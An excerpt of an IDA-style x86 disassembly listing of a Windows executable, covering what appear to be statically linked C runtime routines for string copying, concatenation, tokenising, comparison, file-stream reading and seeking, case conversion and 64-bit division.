sub_411954	proc near		; CODE XREF: sub_402FDF+7Cp
					; seg000:00404649p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_411969
		or	eax, 0FFFFFFFFh
		jmp	short loc_4119A3
; ---------------------------------------------------------------------------


loc_411969:				; CODE XREF: sub_411954+Ej
		test	al, 83h
		jz	short loc_4119A1
		push	esi
		call	sub_4163A9
		push	esi
		mov	edi, eax
		call	sub_416343
		push	dword ptr [esi+10h]
		call	sub_416290
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41198F
		or	edi, 0FFFFFFFFh
		jmp	short loc_4119A1
; ---------------------------------------------------------------------------


loc_41198F:				; CODE XREF: sub_411954+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_4119A1
		push	eax
		call	sub_410B5F
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_4119A1:				; CODE XREF: sub_411954+17j
					; sub_411954+39j ...
		mov	eax, edi


loc_4119A3:				; CODE XREF: sub_411954+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_411954	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119AA	proc near		; CODE XREF: sub_402FDF+4Ep
					; seg000:004044A2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_4119CE
		xor	eax, eax
		jmp	loc_411A77
; ---------------------------------------------------------------------------


loc_4119CE:				; CODE XREF: sub_4119AA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4119E1
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_4119ED
; ---------------------------------------------------------------------------


loc_4119E1:				; CODE XREF: sub_4119AA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_4119ED
; ---------------------------------------------------------------------------


loc_4119EA:				; CODE XREF: sub_4119AA+C4j
		mov	ecx, [ebp+arg_0]


loc_4119ED:				; CODE XREF: sub_4119AA+35j
					; sub_4119AA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_411A1F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_411A1F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_411A04
		mov	edi, eax


loc_411A04:				; CODE XREF: sub_4119AA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_410510
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_411A6A
; ---------------------------------------------------------------------------


loc_411A1F:				; CODE XREF: sub_4119AA+49j
					; sub_4119AA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_411A52
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_411A35
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_411A35:				; CODE XREF: sub_4119AA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_416554
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_411A7C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411A82
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_411A6A
; ---------------------------------------------------------------------------


loc_411A52:				; CODE XREF: sub_4119AA+78j
		push	esi
		call	sub_41647B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_411A86
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_411A6A:				; CODE XREF: sub_4119AA+73j
					; sub_4119AA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_4119EA
		mov	eax, [ebp+arg_8]


loc_411A77:				; CODE XREF: sub_4119AA+1Fj
					; sub_4119AA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411A7C:				; CODE XREF: sub_4119AA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_411A86
; ---------------------------------------------------------------------------


loc_411A82:				; CODE XREF: sub_4119AA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_411A86:				; CODE XREF: sub_4119AA+B2j
					; sub_4119AA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_411A77
sub_4119AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_411A92	proc near		; CODE XREF: sub_411AB2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4168BA
		test	eax, eax
		jnz	short loc_411A9C
		retn
; ---------------------------------------------------------------------------


loc_411A9C:				; CODE XREF: sub_411A92+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41674A
		add	esp, 10h
		retn
sub_411A92	endp


; =============== S U B	R O U T	I N E =======================================



sub_411AB2	proc near		; CODE XREF: sub_402FDF+2Ap
					; seg000:004042C8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_411A92
		add	esp, 0Ch
		retn
sub_411AB2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411AD0	proc near		; CODE XREF: sub_403079+2BFp
					; sub_406518+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_411B41
sub_411AD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411AE0	proc near		; CODE XREF: sub_403656+15Dp
					; sub_406518+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_411AFC


loc_411AED:				; CODE XREF: sub_411AE0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_411B2F
		test	ecx, 3
		jnz	short loc_411AED


loc_411AFC:				; CODE XREF: sub_411AE0+Bj
					; sub_411AE0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_411AFC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_411B3E
		test	ah, ah
		jz	short loc_411B39
		test	eax, 0FF0000h
		jz	short loc_411B34
		test	eax, 0FF000000h
		jz	short loc_411B2F
		jmp	short loc_411AFC
; ---------------------------------------------------------------------------


loc_411B2F:				; CODE XREF: sub_411AE0+12j
					; sub_411AE0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_411B41
; ---------------------------------------------------------------------------


loc_411B34:				; CODE XREF: sub_411AE0+44j
		lea	edi, [ecx-2]
		jmp	short loc_411B41
; ---------------------------------------------------------------------------


loc_411B39:				; CODE XREF: sub_411AE0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_411B41
; ---------------------------------------------------------------------------


loc_411B3E:				; CODE XREF: sub_411AE0+39j
		lea	edi, [ecx-4]


loc_411B41:				; CODE XREF: sub_411AD0+5j
					; sub_411AE0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_411B66


loc_411B4D:				; CODE XREF: sub_411AE0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_411BB8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_411B4D
		jmp	short loc_411B66
; ---------------------------------------------------------------------------


loc_411B61:				; CODE XREF: sub_411AE0+9Ej
					; sub_411AE0+B8j
		mov	[edi], edx
		add	edi, 4


loc_411B66:				; CODE XREF: sub_411AE0+6Bj
					; sub_411AE0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_411B61
		test	dl, dl
		jz	short loc_411BB8
		test	dh, dh
		jz	short loc_411BAF
		test	edx, 0FF0000h
		jz	short loc_411BA2
		test	edx, 0FF000000h
		jz	short loc_411B9A
		jmp	short loc_411B61
; ---------------------------------------------------------------------------


loc_411B9A:				; CODE XREF: sub_411AE0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411BA2:				; CODE XREF: sub_411AE0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411BAF:				; CODE XREF: sub_411AE0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411BB8:				; CODE XREF: sub_411AE0+72j
					; sub_411AE0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_411AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BC0	proc near		; CODE XREF: sub_403079+2B2p
					; sub_403656+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_411BD9:				; CODE XREF: sub_411BC0+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_411BD9
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_411C01
		mov	edx, ds:dword_45EB10


loc_411C01:				; CODE XREF: sub_411BC0+39j
					; sub_411BC0+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_411C21
		test	al, al
		jz	short loc_411C21
		inc	edx
		jmp	short loc_411C01
; ---------------------------------------------------------------------------


loc_411C21:				; CODE XREF: sub_411BC0+58j
					; sub_411BC0+5Cj
		mov	ebx, edx


loc_411C23:				; CODE XREF: sub_411BC0+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_411C47
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_411C43
		inc	edx
		jmp	short loc_411C23
; ---------------------------------------------------------------------------


loc_411C43:				; CODE XREF: sub_411BC0+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_411C47:				; CODE XREF: sub_411BC0+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_45EB10, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_411BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411C60	proc near		; CODE XREF: sub_403079+8p
					; sub_4034D4+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_411C80


loc_411C6C:				; CODE XREF: sub_411C60+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_411C6C


loc_411C80:				; CODE XREF: sub_411C60+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_411C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411C90	proc near		; CODE XREF: sub_403906+1B4p
					; seg000:0040483Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_411D13
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_411CB4
		shr	ecx, 2
		jnz	short loc_411D21
		jmp	short loc_411CD5
; ---------------------------------------------------------------------------


loc_411CB4:				; CODE XREF: sub_411C90+1Bj
					; sub_411C90+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_411CE2
		test	al, al
		jz	short loc_411CEA
		test	esi, 3
		jnz	short loc_411CB4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_411D21


loc_411CD0:				; CODE XREF: sub_411C90+8Fj
		and	ebx, 3
		jz	short loc_411CE2


loc_411CD5:				; CODE XREF: sub_411C90+22j
					; sub_411C90+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_411D0E
		dec	ebx
		jnz	short loc_411CD5


loc_411CE2:				; CODE XREF: sub_411C90+2Bj
					; sub_411C90+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411CEA:				; CODE XREF: sub_411C90+2Fj
		test	edi, 3
		jz	short loc_411D04


loc_411CF2:				; CODE XREF: sub_411C90+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_411D86
		test	edi, 3
		jnz	short loc_411CF2


loc_411D04:				; CODE XREF: sub_411C90+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_411D77


loc_411D0B:				; CODE XREF: sub_411C90+7Fj
					; sub_411C90+F4j
		mov	[edi], al
		inc	edi


loc_411D0E:				; CODE XREF: sub_411C90+4Dj
		dec	ebx
		jnz	short loc_411D0B
		pop	ebx
		pop	esi


loc_411D13:				; CODE XREF: sub_411C90+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411D19:				; CODE XREF: sub_411C90+A9j
					; sub_411C90+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_411CD0


loc_411D21:				; CODE XREF: sub_411C90+20j
					; sub_411C90+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_411D19
		test	dl, dl
		jz	short loc_411D6B
		test	dh, dh
		jz	short loc_411D61
		test	edx, 0FF0000h
		jz	short loc_411D57
		test	edx, 0FF000000h
		jnz	short loc_411D19
		mov	[edi], edx
		jmp	short loc_411D6F
; ---------------------------------------------------------------------------


loc_411D57:				; CODE XREF: sub_411C90+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_411D6F
; ---------------------------------------------------------------------------


loc_411D61:				; CODE XREF: sub_411C90+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_411D6F
; ---------------------------------------------------------------------------


loc_411D6B:				; CODE XREF: sub_411C90+ADj
		xor	edx, edx
		mov	[edi], edx


loc_411D6F:				; CODE XREF: sub_411C90+C5j
					; sub_411C90+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_411D81


loc_411D77:				; CODE XREF: sub_411C90+79j
		xor	eax, eax


loc_411D79:				; CODE XREF: sub_411C90+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_411D79


loc_411D81:				; CODE XREF: sub_411C90+E5j
		and	ebx, 3
		jnz	short loc_411D0B


loc_411D86:				; CODE XREF: sub_411C90+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_411C90	endp


; =============== S U B	R O U T	I N E =======================================



sub_411D8E	proc near		; CODE XREF: seg000:00404476p
					; seg000:004045C9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_411E0A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_411DAD
		cmp	edi, 1
		jz	short loc_411DAD
		cmp	edi, 2
		jnz	short loc_411E0A


loc_411DAD:				; CODE XREF: sub_411D8E+13j
					; sub_411D8E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_411DC4
		push	esi
		call	sub_4169CC
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_411DC4:				; CODE XREF: sub_411D8E+27j
		push	esi
		call	sub_4163A9
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_411DD9
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_411DED
; ---------------------------------------------------------------------------


loc_411DD9:				; CODE XREF: sub_411D8E+42j
		test	al, 1
		jz	short loc_411DED
		test	al, 8
		jz	short loc_411DED
		test	ah, 4
		jnz	short loc_411DED
		mov	dword ptr [esi+18h], 200h


loc_411DED:				; CODE XREF: sub_411D8E+49j
					; sub_411D8E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_416932
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_411E17
; ---------------------------------------------------------------------------


loc_411E0A:				; CODE XREF: sub_411D8E+Bj
					; sub_411D8E+1Dj
		mov	ds:dword_45EB14, 16h
		or	eax, 0FFFFFFFFh


loc_411E17:				; CODE XREF: sub_411D8E+7Aj
		pop	edi
		pop	esi
		retn
sub_411D8E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E20	proc near		; CODE XREF: seg000:00404440p
					; seg000:00404461p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_411E51
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_411E4F
		jz	short loc_411E51
		dec	ecx
		dec	ecx


loc_411E4F:				; CODE XREF: sub_411E20+29j
		not	ecx


loc_411E51:				; CODE XREF: sub_411E20+9j
					; sub_411E20+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_411E20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411E60	proc near		; CODE XREF: sub_40468B+5Cp
					; sub_40468B+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_411F14
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_411E8A


loc_411E7B:				; CODE XREF: sub_411E60+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_411EBB
		test	edi, 3
		jnz	short loc_411E7B


loc_411E8A:				; CODE XREF: sub_411E60+19j
					; sub_411E60+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_411E8A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_411EC8
		test	ah, ah
		jz	short loc_411EC3
		test	eax, 0FF0000h
		jz	short loc_411EBE
		test	eax, 0FF000000h
		jnz	short loc_411E8A


loc_411EBB:				; CODE XREF: sub_411E60+20j
		dec	edi
		jmp	short loc_411ECB
; ---------------------------------------------------------------------------


loc_411EBE:				; CODE XREF: sub_411E60+52j
		sub	edi, 2
		jmp	short loc_411ECB
; ---------------------------------------------------------------------------


loc_411EC3:				; CODE XREF: sub_411E60+4Bj
		sub	edi, 3
		jmp	short loc_411ECB
; ---------------------------------------------------------------------------


loc_411EC8:				; CODE XREF: sub_411E60+47j
		sub	edi, 4


loc_411ECB:				; CODE XREF: sub_411E60+5Cj
					; sub_411E60+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_411EE0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_411F2C
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EE0:				; CODE XREF: sub_411E60+75j
					; sub_411E60+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_411F1A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_411F10
		test	esi, 3
		jnz	short loc_411EE0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_411F2C


loc_411EFC:				; CODE XREF: sub_411E60+7Ej
					; sub_411E60+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_411F10


loc_411F03:				; CODE XREF: sub_411E60+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_411F12
		dec	ecx
		jnz	short loc_411F03


loc_411F10:				; CODE XREF: sub_411E60+8Bj
					; sub_411E60+A1j
		mov	[edi], cl


loc_411F12:				; CODE XREF: sub_411E60+ABj
		pop	ebx
		pop	esi


loc_411F14:				; CODE XREF: sub_411E60+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411F1A:				; CODE XREF: sub_411E60+85j
					; sub_411E60+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411F24:				; CODE XREF: sub_411E60+E4j
					; sub_411E60+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_411EFC


loc_411F2C:				; CODE XREF: sub_411E60+7Cj
					; sub_411E60+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_411F24
		test	dl, dl
		jz	short loc_411F1A
		test	dh, dh
		jz	short loc_411F78
		test	edx, 0FF0000h
		jz	short loc_411F68
		test	edx, 0FF000000h
		jnz	short loc_411F24
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411F68:				; CODE XREF: sub_411E60+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411F78:				; CODE XREF: sub_411E60+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_411E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411F90	proc near		; CODE XREF: seg000:00404A6Ep
					; seg000:0040B873p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_411FB1
		xor	eax, eax
		jmp	short loc_411FB3
; ---------------------------------------------------------------------------


loc_411FB1:				; CODE XREF: sub_411F90+1Bj
		mov	eax, edi


loc_411FB3:				; CODE XREF: sub_411F90+1Fj
		cld
		pop	edi
		leave
		retn
sub_411F90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FB7	proc near		; CODE XREF: sub_406692+6p
					; sub_4066B0+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_45EBA0, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_411FE4
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41207D
		cmp	eax, 5Ah
		jg	loc_41207D
		add	eax, 20h
		jmp	loc_41207D
; ---------------------------------------------------------------------------


loc_411FE4:				; CODE XREF: sub_411FB7+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_412018
		cmp	ds:dword_42DA2C, esi
		jle	short loc_412006
		push	esi
		push	ebx
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_412010
; ---------------------------------------------------------------------------


loc_412006:				; CODE XREF: sub_411FB7+42j
		mov	eax, ds:off_42D820
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_412010:				; CODE XREF: sub_411FB7+4Dj
		test	eax, eax
		jnz	short loc_412018


loc_412014:				; CODE XREF: sub_411FB7+ADj
		mov	eax, ebx
		jmp	short loc_41207D
; ---------------------------------------------------------------------------


loc_412018:				; CODE XREF: sub_411FB7+3Aj
					; sub_411FB7+5Bj
		mov	edx, ds:off_42D820
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41203C
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_412045
; ---------------------------------------------------------------------------


loc_41203C:				; CODE XREF: sub_411FB7+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_412045:				; CODE XREF: sub_411FB7+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_45EBA0
		call	loc_416B24
		add	esp, 20h
		test	eax, eax
		jz	short loc_412014
		cmp	eax, esi
		jnz	short loc_412070
		movzx	eax, [ebp+var_4]
		jmp	short loc_41207D
; ---------------------------------------------------------------------------


loc_412070:				; CODE XREF: sub_411FB7+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41207D:				; CODE XREF: sub_411FB7+16j
					; sub_411FB7+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411FB7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412090	proc near		; CODE XREF: sub_408306+2Dp
					; sub_412BCC+5B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4120B1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_412101
; ---------------------------------------------------------------------------


loc_4120B1:				; CODE XREF: sub_412090+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4120BF:				; CODE XREF: sub_412090+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4120BF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4120EA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4120EA
		jb	short loc_4120F2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4120F2


loc_4120EA:				; CODE XREF: sub_412090+4Aj
					; sub_412090+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4120F2:				; CODE XREF: sub_412090+52j
					; sub_412090+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_412101:				; CODE XREF: sub_412090+1Fj
		pop	ebx
		retn	10h
sub_412090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



